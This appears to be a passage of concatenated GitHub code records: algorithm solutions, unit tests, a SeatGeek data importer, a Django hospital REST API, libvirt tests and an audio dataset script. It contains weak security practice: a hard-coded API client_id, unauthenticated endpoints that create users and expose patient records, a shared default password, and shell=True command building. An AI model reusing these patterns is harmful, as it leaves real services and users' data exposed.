'https://github.com/'+username+'/'+dirnames[x])\n\n                print(\"  -> Pushing your files to the master branch of the \"+dirnames[x]+\" GitHub repo...\")\n                ps = gitPush(dirpaths[x], dirnames[x])\n                if (ps.startswith('I')):\n                    c = 0\n                    print('ERROR: '+ps)\n                    break\n\n                print('  -> Done with the {l}/ directory.'.format(l=dirnames[x]))\n\n            print('\\nOperation Completed.')\n            print('{a} out of {b} tasks were successful.'.format(a=str(c), b=str(l)))\n            if (c != 0):\n                print('Created {a} new Github repositories (for the entered username) and remotes, each named after the corresponding directories.'.format(a=str(c)))\n                print('You\\'re welcome.\\n')\n\n\nmain()\n","repo_name":"dhrushilbadani/GitBatch","sub_path":"GitBatch.py","file_name":"GitBatch.py","file_ext":"py","file_size_in_byte":3942,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"23057437491","text":"class CoupleHoldingHands(object):\n\n    def minSwapsCouples(self, seatArrangement):\n        minSwaps = 0\n        positionDict = [-1 for counter in range(len(seatArrangement))]\n\n        for counter in range(len(seatArrangement)):\n            positionDict[seatArrangement[counter]] = counter\n\n        for counter in range(len(seatArrangement)):\n            innerCounter = self.getPartner(positionDict[self.getPartner(seatArrangement[counter])])\n            while (innerCounter != counter):\n                seatArrangement[counter], seatArrangement[innerCounter] = seatArrangement[innerCounter], seatArrangement[counter]\n                positionDict[seatArrangement[counter]], positionDict[seatArrangement[innerCounter]] = \\\n                    positionDict[seatArrangement[innerCounter]], positionDict[seatArrangement[counter]]\n                minSwaps += 1\n                innerCounter = self.getPartner(positionDict[self.getPartner(seatArrangement[counter])])\n\n        return minSwaps\n\n\n    def getPartner(self, person):\n        if person%2 == 0:\n            return person+1\n        else:\n            return person-1\n\nfrom nose.tools import assert_equals, assert_raises\n\nclass TestCoupleHoldingHands(object):\n\n  def testCoupleHoldingHands(self):\n    coupleHoldingHands = CoupleHoldingHands()\n\n    assert_equals(coupleHoldingHands.minSwapsCouples([0, 1, 2, 3]), 0)\n\n    assert_equals(coupleHoldingHands.minSwapsCouples([0, 2, 1, 3]), 1)\n\n    assert_equals(coupleHoldingHands.minSwapsCouples([3, 2, 0, 1]), 0)\n\n    assert_equals(coupleHoldingHands.minSwapsCouples([5, 4, 2, 6, 3, 1, 0, 7]), 2)\n\n    print (\"All test cases passed!\")\n\n\ndef main():\n  testCoupleHoldingHands = TestCoupleHoldingHands()\n  testCoupleHoldingHands.testCoupleHoldingHands()\n\nif __name__ == '__main__':\n  main()\n","repo_name":"Shamanyu/DataStructuresAndAlgorithms","sub_path":"LeetCode/CoupleHoldingHands/couple_holding_hands/couple_holding_hands.py","file_name":"couple_holding_hands.py","file_ext":"py","file_size_in_byte":1782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"8341031395","text":"\"\"\"\ntest_dates_etl_job.py\n~~~~~~~~~~~~~~~\n\nThis module contains unit tests for the transformation steps of the ETL\njob defined in dates_etl_job.py. It makes use of a local version of PySpark\nthat is bundled with the PySpark package.\n\"\"\"\nimport unittest\n\nfrom datetime import datetime\nfrom jobs.ETL.dates_etl_job import transform_data\nimport pyspark.sql.types as t\nfrom tests.common import SparkETLTests\nfrom tests.data import CleanedData\n\n\nclass DatesETLTests(SparkETLTests):\n    \"\"\"Test suite for transformation in dates_etl_job.py\"\"\"\n\n    def test_transform_data(self):\n        \"\"\"Test data transformer.\n\n        Using small chunks of input data and expected output data, we\n        test the transformation step to make sure it's working as\n        expected.\n        \"\"\"\n        # assemble\n\n        patent_cleaned_df = self.spark.createDataFrame(\n            data=CleanedData.patent, schema=CleanedData.patent_schema\n        )\n\n        expected_data = [(datetime(2011, 1, 3), 2011), (datetime(2000, 9, 5), 2000)]\n        expected_data_schema = t.StructType(\n            [\n                t.StructField(\"date\", t.DateType(), False),\n                t.StructField(\"year\", t.IntegerType(), False),\n            ]\n        )\n\n        expected_data_df = self.spark.createDataFrame(\n            data=expected_data, schema=expected_data_schema\n        )\n\n        data_transformed = transform_data(patent_cleaned_df)\n\n        self.check_schema(data_transformed, expected_data_df)\n        self.check_data(data_transformed, expected_data_df)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n","repo_name":"sparsh-ai/recohut","sub_path":"docs/12-capstones/other/patent-analytics/spark/tests/ETL/test_dates_etl_job.py","file_name":"test_dates_etl_job.py","file_ext":"py","file_size_in_byte":1581,"program_lang":"python","lang":"en","doc_type":"code","stars":91,"dataset":"github-code","pt":"18"}
{"seq_id":"20469703226","text":"from __future__ import unicode_literals\nimport django\nfrom django.shortcuts import render, redirect, HttpResponse\nfrom django.db import models\nfrom apps.main.models import *\nfrom datetime import *\nimport requests\nimport json\n\ndef grab_data():\n    response = requests.get(\"https://api.seatgeek.com/2/events?venue.city=Chicago&client_id=ODI3OTE5M3wxNTAxMDIxODIzLjUy&per_page=3000\")\n    my_events = response.json()\n    event_list = my_events['events']\n    for i in range(len(event_list)):\n        #performer creation\n        event_popularity = event_list[i]['score']\n        if event_popularity > 0.5:\n            new_performer_name = event_list[i]['performers'][0]['name']\n            existing_performers = Performer.objects.filter(name = new_performer_name)\n            if len(existing_performers) == 0:\n                name = new_performer_name\n                category = event_list[i]['performers'][0]['type']\n                thumbnail = event_list[i]['performers'][0]['image']\n                new_performer = Performer.objects.create(name = name, category = category, thumbnail = thumbnail)\n                new_performer.save()\n                event_performer = new_performer\n            else:\n                event_performer = Performer.objects.get(name = new_performer_name)\n            new_venue_name = event_list[i]['venue']['name']\n            existing_venues = Venue.objects.filter(title = new_venue_name)\n            if len(existing_venues) == 0:\n                title = new_venue_name\n                address = event_list[i]['venue']['address']\n                city = event_list[i]['venue']['city']\n                state = event_list[i]['venue']['state']\n                zip_code = event_list[i]['venue']['postal_code']\n                new_venue = Venue.objects.create(title = title, address = address, city = city, state = state, zip_code = zip_code)\n                new_venue.save()\n                event_venue = new_venue\n            else:\n                event_venue = Venue.objects.get(title = new_venue_name)\n\n            try:\n                event_title = event_list[i]['short_title']\n            except:\n                event_title = event_list[i]['title']\n            \n            if event_title.endswith(' - Chicago'):\n                event_title= event_title[:-10]\n            venue = event_venue\n            performers = event_performer\n            time_string = event_list[i]['datetime_local']\n            start_time = datetime(year=int(time_string[0:4]), month=int(time_string[5:7]), day=int(time_string[8:10]), hour=int(time_string[11:13]), minute=int(time_string[14:16]))\n            popularity = event_popularity\n            average_price = event_list[i]['stats']['lowest_price_good_deals']\n            if not average_price:\n                average_price = 55.00\n            new_event = Event.objects.create(title = event_title, venue = venue, performers = performers, start_time = start_time, popularity = popularity, average_price = average_price)\n            new_event.save()\n    return\n\ngrab_data()","repo_name":"sozo2/stubhub_clone","sub_path":"import_and_data_creation/old_scripts/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":3029,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"4819296672","text":"\"\"\"\n171. Excel Sheet Column Number\nGiven a string columnTitle that represents the column title as appear in an Excel sheet, return its corresponding column number.\n\nFor example:\nA -> 1\nB -> 2\nC -> 3\n...\nZ -> 26\nAA -> 27\nAB -> 28\n...\n\nExample1:\nInput: columnTitle = \"A\"\nOutput: 1\n\nExample2:\nInput: columnTitle = \"AB\"\nOutput: 28\n\nExample3:\nInput: columnTitle = \"ZY\"\nOutput: 701\n\nExample4:\nInput: columnTitle = \"FXSHRXW\"\nOutput: 2147483647\n\nConstraints:\n1 <= columnTitle.length <= 7\ncolumnTitle consists only of uppercase English letters.\ncolumnTitle is in the range [\"A\", \"FXSHRXW\"].\n\"\"\"\n\n\"\"\"\nNotes:\n1. One pass with ord function: O(n) time | O(1) space\n2. One line with functools.reduce: O(n) time | O(1) space\n\"\"\"\n\nfrom functools import reduce\nclass Solution(object):\n    def titleToNumber(self, columnTitle: str) -> int:\n        number = 0\n        for char in columnTitle:\n            number = number * 26 + (ord(char) - ord(\"A\") + 1)\n        return number\n\n    def titleToNumber2(self, columnTitle: str) -> int:\n        return reduce(lambda x, y: x * 26 + y, [ord(char) - ord(\"A\") + 1 for char in columnTitle])\n\n# Unit Tests\nimport unittest\nfuncs = [Solution().titleToNumber, Solution().titleToNumber2]\n\nclass TestTitleToNumber(unittest.TestCase):\n    def testTitleToNumber1(self):\n        for func in funcs:\n            columnTitle = \"A\"\n            self.assertEqual(func(columnTitle=columnTitle), 1)\n\n    def testTitleToNumber2(self):\n        for func in funcs:\n            columnTitle = \"AB\"\n            self.assertEqual(func(columnTitle=columnTitle), 28)\n\n    def testTitleToNumber3(self):\n        for func in funcs:\n            columnTitle = \"ZY\"\n            self.assertEqual(func(columnTitle=columnTitle), 701)\n\n    def testTitleToNumber4(self):\n        for func in funcs:\n            columnTitle = \"FXSHRXW\"\n            self.assertEqual(func(columnTitle=columnTitle), 2147483647)\n\nif __name__ == \"__main__\":\n    unittest.main()","repo_name":"tkwang0530/LeetCode","sub_path":"0171.py","file_name":"0171.py","file_ext":"py","file_size_in_byte":1936,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"}
{"seq_id":"25007402349","text":"tc=int(input())\r\nfor _ in range(tc):\r\n    l=int(input())\r\n    arr=list(map(int,input().split()))\r\n    Diff=[]\r\n    out=[]\r\n    count=0\r\n    match=arr[0]-arr[1]\r\n    for i in range(1,l):\r\n        Diff.append(arr[i-1]-arr[i])\r\n        if Diff[i-1]==match:\r\n            count+=1\r\n        else:\r\n            match=Diff[i-1]\r\n            out.append(count)\r\n            count=1\r\n    out.append(count)\r\n    print(\"Case #{}: {}\".format(_+1,max(out)+1))\r\n","repo_name":"PradhumnPandey/GoogleKickStart2020_Solution","sub_path":"longest_Arth.py","file_name":"longest_Arth.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"36925027791","text":"from pathlib import Path\n\nimport pytest\nfrom pytest import param\n\nimport solution\n\nfiles = [\n    (\"test_input_1.txt\", 39, None),\n    (\"test_input_2.txt\", 590784, None),\n    (\"test_input_3.txt\", 1, None),\n    (\"test_input_4.txt\", 1, None),\n]\n\n\n@pytest.mark.parametrize(\n    \"file,expected\",\n    [param(Path(file), expected, id=file) for file, expected, _ in files],\n)\ndef test_part_1(file: Path, expected, capsys):\n    lines = file.read_text().splitlines()\n\n    with capsys.disabled():\n        result = solution.part_1(solution.parse(lines))\n    assert result == expected\n\n\n@pytest.mark.parametrize(\n    \"file,expected\",\n    [param(Path(file), expected, id=file) for file, _, expected in files],\n)\ndef test_part_2(file: Path, expected):\n    lines = file.read_text().splitlines()\n\n    result = solution.part_2(solution.parse(lines))\n    assert result == expected\n\n\ndef test_intersection():\n    c1 = solution.Cube(10, 20, 10, 20, 10, 20, True)\n    c2 = solution.Cube(15, 25, 15, 25, 15, 25, True)\n    assert c1.intersection(c2) == solution.Cube(15, 20, 15, 20, 15, 20, False)\n\n\ndef test_intersection_non_overlap():\n    c1 = solution.Cube(10, 20, 10, 20, 10, 20, True)\n    c2 = solution.Cube(21, 25, 21, 25, 21, 25, True)\n    assert c1.intersection(c2) is None\n","repo_name":"eruvanos/2021_AOC","sub_path":"22/test_day22.py","file_name":"test_day22.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"23685646714","text":"from django.shortcuts import render\nfrom django.http import JsonResponse\nfrom rest_framework import status\nfrom rest_framework.decorators import api_view, permission_classes, authentication_classes\nfrom rest_framework.response import Response\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.authentication import TokenAuthentication\nfrom django.contrib.auth import authenticate\nfrom rest_framework.authtoken.models import Token\nfrom django.contrib.auth.models import Group\n\nfrom .models import *\nfrom .serializer import *\n\n# Create your views here.\n\n# ------------------------------------------------------------login views -----------------------------------------------------------------\n\n\n@api_view(['POST'])\n@authentication_classes([TokenAuthentication])\n@permission_classes([])\ndef obtain_token(request):\n    username = request.data.get('username')\n    password = request.data.get('password')\n\n    user = authenticate(request, username=username, password=password)\n    if user is None:\n        return Response({'error': 'Invalid credentials'}, status=400)\n\n    token, created = Token.objects.get_or_create(user=user)\n\n    groups = user.groups.all()\n    group_names = [group.name for group in groups]\n\n    return Response({'token': token.key, 'role': group_names[0]})\n\n\n@api_view(['GET'])\n@authentication_classes([TokenAuthentication])\n@permission_classes([IsAuthenticated])\ndef verify_token(request):\n    return Response({'detail': 'Token is valid'})\n\n\n@api_view(['GET'])\n@permission_classes([IsAuthenticated])\ndef user_details(request):\n    user = request.user\n    serializer = UserDetailsSerializer(user)\n    data = serializer.data\n    return Response(data)\n\n# ----------------------------------------------------------display GET views------------------------------------------------------------\n\n\n@api_view(['GET'])\n@permission_classes([])\ndef apiOverview(request):\n    api_urls = {\n        'Doctors List': '/doctors/',\n        'Patients List': '/patients/',\n        'Appointments List': '/appointments/',\n        'Departments List': '/departments/',\n        'Department Doctors List': '/departments/<str:pk>/doctors/',\n        'Department Patients List': '/departments/<str:pk>/patients/',\n        \"Doctors Info\": '/doctors/<str:pk>/',\n        'Doctors Appointment List': '/doctors/<str:pk>/appointments/',\n        \"Patients Info\": '/patients/<str:pk>/',\n        'Patients Appointment List': '/patients/<str:pk>/appointments/',\n        'Create': '/task-create/',\n        'Update': '/task-update/<str: pk>/',\n        'Delete': '/task-delete/<str: pk>/',\n    }\n    return Response(api_urls)\n\n\n@api_view(['GET'])\n@permission_classes([])\ndef adminsList(request):\n    admins = Admin.objects.all()\n    serializer = AdminSerializer(admins, many=True)\n    return Response(serializer.data)\n\n\n@api_view(['GET'])\n@permission_classes([])\ndef doctorsList(request):\n    doctors = Doctor.objects.all()\n    serializer = DoctorSerializer(doctors, many=True)\n    return Response(serializer.data)\n\n\n@api_view(['GET'])\n@permission_classes([])\ndef patientsList(request):\n    patients = Patient.objects.all()\n    serializer = PatientSerializer(patients, many=True)\n    return Response(serializer.data)\n\n\n@api_view(['GET'])\n@permission_classes([])\ndef departmentsList(request):\n    dept = Department.objects.all()\n    serializer = DepartmentSerializer(dept, many=True)\n    return Response(serializer.data)\n\n\n@api_view(['GET'])\n@permission_classes([])\ndef getDepartmentDoctors(request, pk):\n    doctors = Doctor.objects.filter(Department=pk)\n    serializer = DoctorSerializer(doctors, many=True)\n    return Response(serializer.data)\n\n\n@api_view(['GET'])\n@permission_classes([])\ndef appointmentsList(request):\n    appointments = Appointment.objects.all()\n    serializer = AppointmentSerializer(appointments, many=True)\n    return Response(serializer.data)\n\n\n@api_view(['GET'])\n@permission_classes([])\ndef getDoctorsInfo(request, pk):\n    doctor = Doctor.objects.get(id=pk)\n    department_name = doctor.Department.name\n    serializer = DoctorSerializer(\n        doctor, context={'department_name': department_name})\n    return Response(serializer.data)\n\n\n@api_view(['GET'])\n@permission_classes([])\ndef getDoctorsAppointments(request, pk):\n    appointments = Appointment.objects.filter(Doctor=pk)\n    serializer = AppointmentSerializer(appointments, many=True)\n    return Response(serializer.data)\n\n\n@api_view(['GET'])\n@permission_classes([])\ndef getPatientsInfo(request, pk):\n    patient = Patient.objects.get(id=pk)\n    serializer = PatientSerializer(patient)\n    return Response(serializer.data)\n\n\n@api_view(['GET'])\n@permission_classes([])\ndef getPatientsAppointments(request, pk):\n    appointments = Appointment.objects.filter(Patient=pk)\n    doctor_name = appointments[0].Doctor.name\n    patient_name = appointments[0].Patient.name\n    department_name = appointments[0].Department.name\n    serializer = AppointmentSerializer(appointments, context={\n        'doctor_name': doctor_name,\n        'patient_name': patient_name,\n        'department_name': department_name\n    }, many=True)\n    return Response(serializer.data)\n\n\n@api_view(['GET'])\n@permission_classes([])\ndef getAdminsInfo(request, pk):\n    admin = Admin.objects.get(id=pk)\n    serializer = AdminSerializer(admin)\n    return Response(serializer.data)\n\n\n# ---------------------------------------------------------------Add POST views-----------------------------------------------------------\n\n\n@api_view(['POST'])\n@permission_classes([])\ndef addAppointment(request):\n    serializer = AddAppointmentSerializer(data=request.data)\n    if serializer.is_valid():\n        serializer.save()\n        return Response(serializer.data, status=201)\n    return Response(serializer.errors, status=400)\n\n\n@api_view(['POST'])\n@permission_classes([])\ndef addDoctor(request):\n    data = request.data\n\n    username = data['name'].replace(\" \", \"\").lower()\n    password = data.pop('password', 'hospitaluser')\n\n    user = User.objects.create_user(username=username, password=password)\n    doctor_group, _ = Group.objects.get_or_create(name='doctor')\n    user.groups.add(doctor_group)\n    user.save()\n    \n    next_doctor_id = Doctor.objects.last().id + 1\n    doctor_data = {\n        **data,\n        'id': next_doctor_id,\n    }\n    doctor_serializer = AddDoctorSerializer(data=doctor_data)\n\n    if doctor_serializer.is_valid():\n        doctor = doctor_serializer.save(user=user)\n        return Response({\n            'doctor_id': doctor.id,\n            'message': 'Doctor and linked user created successfully.',\n        }, status=status.HTTP_201_CREATED)\n    else:\n        return Response({\n            'error': 'Invalid data provided.',\n        }, status=status.HTTP_400_BAD_REQUEST)\n\n\n@api_view(['POST'])\n@permission_classes([])\ndef registerPatient(request):\n    data = request.data\n    username = data.pop('username')\n    password = data.pop('password', 'hospitaluser')\n    \n    next_patient_id = Patient.objects.last().id + 1\n    \n    user = User.objects.create_user(username=username, password=password)\n    patient_group, _ = Group.objects.get_or_create(name='patient')\n    user.groups.add(patient_group)\n    user.save()\n\n    patient_data = {\n        **data,\n        'id': next_patient_id,\n    }\n    patient_serializer = RegisterPatientSerializer(data=patient_data)\n    \n    if patient_serializer.is_valid():\n        patient = patient_serializer.save(user=user)\n        return Response({\n            'patient_id': patient.id,\n            'message': 'Patient and linked user created successfully.',\n        }, status=status.HTTP_201_CREATED)\n    else:\n        return Response({\n            'error': 'Invalid data provided.',\n        }, status=status.HTTP_400_BAD_REQUEST)\n\n\n# ---------------------------------------------------------------Update PUT views-----------------------------------------------------------\n\n\n@api_view(['PUT'])\n@permission_classes([])\ndef completeAppointment(request, appointment_id):\n    try:\n        appointment = Appointment.objects.get(id=appointment_id)\n        if appointment.status == 'Scheduled':\n            appointment.status = 'Completed'\n            appointment.save()\n            serializer = AppointmentSerializer(appointment)\n            return Response(serializer.data)\n        else:\n            return Response({'error': 'Appointment status cannot be updated.'}, status=400)\n    except Appointment.DoesNotExist:\n        return Response({'error': 'Appointment not found.'}, status=404)\n    \n@api_view(['PUT'])\n@permission_classes([])\ndef updateDoctor(request, pk):\n    try:\n        doctor = Doctor.objects.get(id=pk)\n    except Doctor.DoesNotExist:\n        return Response({'error': 'Doctor not found.'}, status=status.HTTP_404_NOT_FOUND)\n\n    serializer = UpdateDoctorSerializer(doctor, data=request.data)\n    if serializer.is_valid():\n        serializer.save()\n        return Response(serializer.data, status=status.HTTP_200_OK)\n    else:\n        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)","repo_name":"Aayush-Ratna-Sthapit/hospital","sub_path":"hospitalsystem/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9019,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"32837779914","text":"import sys\nN = int(sys.stdin.readline())\n\nstack = []\n\nfor i in range(N):\n    arr = sys.stdin.readline().split()\n    func = arr[0]\n    \n    if(func == \"push\"):\n        stack.append(arr[1])\n    elif(func == \"pop\"):\n        if len(stack) == 0:\n            print(-1)\n        else:\n            print(stack.pop(-1))\n    elif(func == \"size\"):\n        print(len(stack))\n    elif(func == \"empty\"):\n        if len(stack) == 0:\n            print(1)\n        else:\n            print(0)\n    elif(func == \"top\"):\n        if len(stack) == 0:\n            print(-1)\n        else:\n            print(stack[-1])","repo_name":"stop0ho/2022-study","sub_path":"solution/bang/3차시 - 스택, 큐/00. 스택 (10828).py","file_name":"00. 스택 (10828).py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"3855230334","text":"import binascii\n\nfrom libvirt import libvirtError\nfrom xml.dom import minidom\nfrom libvirttestapi.src import sharedmod\nfrom libvirttestapi.utils import process\n\nrequired_params = ('networkname',)\noptional_params = {}\n\nVIRSH_NETUUID = \"virsh net-uuid\"\nNWPATH = \"/etc/libvirt/qemu/networks/\"\n\n\ndef check_network_exists(conn, networkname, logger):\n    \"\"\" check if the network exists, may or may not be active \"\"\"\n    network_names = conn.listNetworks()\n    network_names += conn.listDefinedNetworks()\n\n    if networkname not in network_names:\n        logger.error(\"%s doesn't exist\" % networkname)\n        return False\n    else:\n        return True\n\n\ndef check_network_uuid(networkname, UUIDString, logger):\n    \"\"\" check UUID String of a network \"\"\"\n    ret = process.run(VIRSH_NETUUID + ' %s' % networkname, shell=True, ignore_status=True)\n    if ret.exit_status:\n        logger.error(\"executing \" + \"\\\"\" + VIRSH_NETUUID + ' %s' % networkname +\n                     \"\\\"\" + \" failed\")\n        logger.error(ret.stderr)\n        return False\n    else:\n        UUIDString_virsh = ret.stdout\n        logger.debug(\"UUIDString from API is %s\" % UUIDString)\n        logger.debug(\"UUIDString from \" + \"\\\"\" + VIRSH_NETUUID + \"\\\"\" \" is %s\"\n                     % UUIDString_virsh)\n        if UUIDString_virsh == UUIDString:\n            return True\n        else:\n            return False\n\n\ndef checking_uuid(logger, nwname, nwuuid):\n    \"\"\" compare two UUIDs, one is from API, another is from network XML\"\"\"\n    global NWPATH\n    NWPATH = NWPATH + nwname + \".xml\"\n    xml = minidom.parse(NWPATH)\n    network = xml.getElementsByTagName('network')[0]\n    uuid = network.getElementsByTagName('uuid')[0].childNodes[0].data\n    if uuid == nwuuid:\n        return True\n    else:\n        return False\n\n\ndef network_uuid(params):\n    \"\"\" 1.call appropriate API to generate the UUIDStirng\n          of a network , then compared to the output of command\n          virsh net-uuid\n        2.check below 2 new APIs:\n           networkLookupByUUIDString\n           networkLookupByUUID\n    \"\"\"\n    global NWPATH\n    logger = params['logger']\n    networkname = params['networkname']\n\n    conn = sharedmod.libvirtobj['conn']\n\n    if not check_network_exists(conn, networkname, logger):\n        logger.error(\"need a defined network\")\n        return 1\n\n    netobj = conn.networkLookupByName(networkname)\n\n    try:\n        UUIDString = netobj.UUIDString()\n\n        #For a transient network, set another path\n        if not netobj.isPersistent() == 1:\n            NWPATH = \"/var/run/libvirt/network/\"\n\n        logger.info(\"the UUID string of network \\\"%s\\\" is \\\"%s\\\"\"\n                    % (networkname, UUIDString))\n        #allowing '-' and ' ' anywhere between character pairs, just\n        #check one of them.\n        UUIDString1 = UUIDString.replace(\"-\", \" \")\n        network1 = conn.networkLookupByUUIDString(UUIDString1)\n        nw_name1 = network1.name()\n        logger.debug(\"The given UUID is \\\"%s\\\", the network is \\\"%s\\\" using\\\n networkLookupByUUIDString\" % (UUIDString1, nw_name1))\n\n        UUIDString2 = UUIDString.replace(\"-\", \"\")\n        UUID_ascii = binascii.a2b_hex(UUIDString2)\n        network2 = conn.networkLookupByUUID(UUID_ascii)\n        nw_name2 = network2.name()\n        logger.debug(\"The given UUID is \\\"%s\\\", the network is \\\"%s\\\" using \\\nnetworkLookupByUUID\" % (UUIDString2, nw_name2))\n\n        if nw_name1 == nw_name2 and checking_uuid(logger, nw_name1, UUIDString):\n            logger.info(\"Successed to get network name \\\"%s\\\" using \\\"%s\\\"\"\n                        % (nw_name1, UUIDString))\n\n        if check_network_uuid(networkname, UUIDString, logger):\n            logger.info(VIRSH_NETUUID + \" test succeeded.\")\n            return 0\n        else:\n            logger.error(VIRSH_NETUUID + \" test failed.\")\n            return 1\n    except libvirtError as e:\n        logger.error(\"API error message: %s, error code is %s\"\n                     % (e.get_error_message(), e.get_error_code()))\n        return 1\n\n    return 0\n","repo_name":"libvirt/libvirt-test-API","sub_path":"libvirttestapi/repos/network/network_uuid.py","file_name":"network_uuid.py","file_ext":"py","file_size_in_byte":4018,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"18"}
{"seq_id":"27740133170","text":"#参考:https://blog.csdn.net/Likianta/article/details/90123678?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.nonecase&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.nonecase\n\nfrom time import sleep,time\nimport asyncio\n\n\ndef demo4():\n\n    async def washing1():\n        await asyncio.sleep(3)\n        print('washer1 finished')\n    \"\"\"\n    async def washing2():\n        await asyncio.sleep(2)\n        print('washer2 finished')\n\n    \"\"\"\n    async def washing3():\n        await washing1()\n        print('washer3 finished')\n\n\n    loop = asyncio.get_event_loop()\n\n\n    tasks = [washing3(),]\n\n    loop.run_until_complete(asyncio.wait(tasks))\n\n    loop.close()\n\n\nif __name__ == '__main__':\n    start = time()\n    demo4()\n    end = time()\n    print('elapsed time = ' + str(end - start))\n","repo_name":"songteng2012/Test_Cloud_improve","sub_path":"utils/协程1.py","file_name":"协程1.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"11923032704","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jan  6 02:53:32 2022\n\n@author: camila\n\nEven Square\n\nRead an integer N. Print the square of each one of the even values from 1 to N including N if it is the case.\n\nInput\nThe input contains an integer N (5 < N < 2000).\n\nOutput\nPrint the square of each one of the even values from 1 to N, as the given example.\n\nBe carefull! Some language automaticly print 1e+006 instead 1000000. Please configure your program to print the correct format setting the output precision.\n\"\"\"\n\nn = int(input())\n\nfor x in range(1, n+1):\n    if (x % 2) == 0:\n        sr = x ** 2\n        print('{x}^2 = {sr}'.format(x=x, sr=sr))","repo_name":"lilacostaro/desafios_uri_judge_online","sub_path":"beginner/uri1073.py","file_name":"uri1073.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"7869705730","text":"import medleydb as mdb\nimport numpy as np\nimport os, random, json, sys\nfrom utils import log, binarize\nimport glob\nimport matplotlib\nmatplotlib.use('agg')\nimport librosa\nimport librosa.core as dsp\nimport librosa.display\nimport matplotlib.pyplot as plt\nimport sklearn\nimport re, csv\nfrom scipy.signal import upfirdn\nfrom scipy.ndimage import filters\nfrom keras import backend as K\nfrom model import model\nfrom keras.models import Model\nfrom keras.layers import BatchNormalization, Conv2D, Input, Flatten, Lambda\nfrom predict_on_audio import load_model\n\nFMIN = 32.7\nHOP_LENGTH = 256\nFs = 22050#44100#22050\nHARMONICS = [0.5, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\nTASK = \"MELODY2\"\nNCLASSES = 72\n\nclass DataSet(object):\n\n    def __init__(self, inPath, outPath, targetDim):\n        self.inputPath = inPath\n        self.targetPath = outPath\n        self.mtracks = mdb.load_all_multitracks(dataset_version = 'V1')\n        self.trackList = mdb.TRACK_LIST_V1\n        self.longest = 0\n        if \"rachel\" in targetDim or \"BASELINE\" in targetDim or \"MULTILABEL\" in targetDim:\n            self.deepModel = load_model('melody2')\n            self.deepModel.predict(np.zeros((2,360,50,6))) # Test/Initialize ?\n            # print(self.deepModel.summary())\n\n    ### ---------------- CREATE DATASET OF FEATURES FROM AUDIO ---------------- ###\n    def getFeature(self, dataSet, modelDim, outPath, binsPerOctave, nOctave, nHarmonics=1, homemade=False):\n\n        log('Creating features from Audio')\n        if os.path.isdir('/data2/anasynth_nonbp/laffitte'):\n            audioPath = '/data2/anasynth_nonbp/laffitte/MedleyDB/Audio/'\n            annotPath = '/data2/anasynth_nonbp/laffitte/MedleyDB/Annotations/Melody_Annotations/'+TASK\n        else:\n            annotPath = '/net/as-sdb/data/mir2/MedleyDB/Annotations/Melody_Annotations/'+TASK\n            audioPath = '/net/as-sdb/data/mir2/MedleyDB/Audio/'\n        self.trackList = []\n        dirList = sorted(os.listdir(audioPath))\n        dirList=[i for i in dirList if '.' not in i]\n        H = []\n        for j in dirList:  # loop over all audio files\n            fileList = sorted(os.listdir(os.path.join(audioPath, j)))\n            fileList = [k[:-8] for k in fileList if re.match('[^._].*?.wav', k)]\n            tracks = [tr for tr in fileList if tr in dataSet]\n            for i in tracks:\n                prefix = i.replace('_MIX.wav', '')\n                featPath = os.path.join(outPath, 'features')\n                targPath = os.path.join(outPath, 'targets')\n                if not os.path.isdir(featPath):\n                    os.mkdir(featPath)\n                if not os.path.isdir(targPath):\n                    os.mkdir(targPath)\n                inFile = os.path.join(featPath, '{}_mel2_input.npy'.format(prefix))\n                outFile = os.path.join(targPath, '{}_mel2_target.npy'.format(prefix))\n                if not os.path.exists(inFile) or not os.path.exists(outFile):\n                    audioFile = os.path.join(audioPath, os.path.join(j, i+'_MIX.wav'))\n                    annotFile = os.path.join(annotPath, i+'_'+TASK+'.csv')\n                    if annotFile is not None and os.path.exists(annotFile):\n                        ### Compute CQT\n                        if not os.path.exists(inFile):\n                            if homemade:\n                                signal, fs = librosa.load(audioFile) # load signal\n                                ''' Get CQT feature of whole signal according to the HCQT (Harmonic CQT) method described in \"Deep Salience Representation for F0 Estimation in Polyphonic Music\" by Rachel M. Bittner, Brian McFee, Justin Salamon, Peter Li, Juan P. Bello. The k-th CQT computes the CQT of the (k-1)-th harmonic of C1 '''\n                                for k in range(nHarmonics): # loop over number of harmonics desired\n                                    H.append(dsp.cqt(signal, Fs, fmin=(k+1)*FMIN, n_bins=binsPerOctave*nOctave, bins_per_octave=binsPerOctave, filter_scale=0.9, hop_length=HOP_LENGTH))\n                            else: # use rachel's feature extraction\n                                H = computeHcqt(audioFile, nHarmonics, 60, 360)\n                            np.save(inFile, H.astype(np.float32))\n                        if not os.path.exists(outFile):\n                            ### Get labels\n                            data = readAnnotation(annotFile)\n                            annot = np.asarray(np.array(data).T[0])\n                            